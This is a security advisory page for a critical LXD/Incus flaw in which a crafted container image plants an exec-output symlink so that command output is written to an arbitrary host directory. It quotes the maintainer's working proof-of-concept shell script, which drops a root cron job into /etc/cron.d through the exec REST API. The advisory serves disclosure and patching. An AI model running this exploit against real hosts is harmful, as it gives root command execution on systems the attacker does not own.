---
id: "GHSA-9j25-mm2h-2f76"
page: "https://infrastack.ai/live/GHSA-9j25-mm2h-2f76"
kind: "vulnerability"
aliases: ["GHSA-9j25-mm2h-2f76"]
title: "LXD has arbitrary file write on host via `exec-output` symlink in crafted image"
severity: "critical"
cvss: 9.9
epss: null
exploited: false
status: "open"
category: "infrastructure"
products: [{"name": "github.com/canonical/lxd", "fixed": ["0.0.0-20260626085134-124f90100640"], "affected": "< 0.0.0-20260626085134-124f90100640", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["containers", "cwe-73", "infrastructure", "linux", "lxd", "self-hosted"]
not_affected_if: ["api-restricted", "trusted-images-only"]
published_at: "2026-11-06T18:45:51+00:00"
first_seen_at: "2026-11-06T18:47:03+00:00"
updated_at: "2026-11-06T18:47:22+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-9j25-mm2h-2f76", "first_seen_at": "2026-11-06T18:47:03+00:00"}]
exploit_sources: []
---

# LXD has arbitrary file write on host via `exec-output` symlink in crafted image

Link for people: https://infrastack.ai/live/GHSA-9j25-mm2h-2f76 (this .md is for agents)

LXD unpacks container images without checking top-level symlinks, so a crafted image can plant an exec-output symlink pointing at any host directory. When a user runs a command with record-output, LXD writes the command's output into that directory, so an attacker can drop a file such as a cron job and potentially run commands on the host.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/canonical/lxd affected < 0.0.0-20260626085134-124f90100640 fixed 0.0.0-20260626085134-124f90100640

## How to check

- Check the LXD version with `lxd --version` and compare it with the fixed version below.
- Review which images are imported from untrusted or third-party sources.
- Check whether the LXD API is reachable by users who should not control instances.

## Fix

- Upgrade the Go module `github.com/canonical/lxd` to `0.0.0-20260626085134-124f90100640` or later.

## Timeline

- 2026-11-06T18:47:03+00:00 ghsa https://github.com/advisories/GHSA-9j25-mm2h-2f76

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-9j25-mm2h-2f76
- [advisory] Maintainer's advisory: github.com https://github.com/canonical/lxd/security/advisories/GHSA-9j25-mm2h-2f76
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/124f901006400f634d54d908911c9ea93bae9a70
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/937b761393af48fe4f5ff7e610ebfc1c9144e953
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/bb0f2521a59edacff2a0cb2e9532fdfbe68cf764
- [fix] Release: github.com https://github.com/canonical/lxd/releases/tag/lxd-5.21.5

## From the sources

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

### Summary

The `record-output` parameter of the `/instances/$name/exec` endpoint
stores the output of the command in the `exec-output` directory of the
instance. If `exec-output` is a symlink, file named `exec_UUID.stdout`
and `exec_UUID.stderr` can be written to an arbitrary location where
the `.stdout` file will contain arbitrary content. This behavior can be
abused for arbitrary command execution.


### Details

When an image is unpacked, top-level symlinks are extracted as is;
allowing for `exec-output` to be placed on disk. In `instance_exec.go`,
`os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows
the `exec-output` symlink.


### PoC

Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on
the host for arbitrary command execution.

```
#!/bin/sh
# usage: $0 existing-imagefp
set -eu

basefp="${1}"

die() {
        printf '%s' "${@}" >&2
        exit 1
}

command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'

tmpdir=$(mktemp -d)
cleanup() {
        rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP


# insert exec-output symlink

incus image export "${basefp}" "${tmpdir}/img"

mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"

xz -cd "${tmpdir}/img" | tar -f- -vx

rm -rf exec-output
ln -s /etc/cron.d exec-output

tar -f- -c * | gzip -c9 >"${tmpdir}/img"

cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output


# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip

OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
  -X POST -H 'Content-Type: application/json' \
  -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
  "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")

curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null

#find /etc/cron.d/exec_* -exec cat {} \;
```

### Impact

Constrained file creation in an arbitrary directory on the host via
via an unsanitized symlink; possibly leading to command execution.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
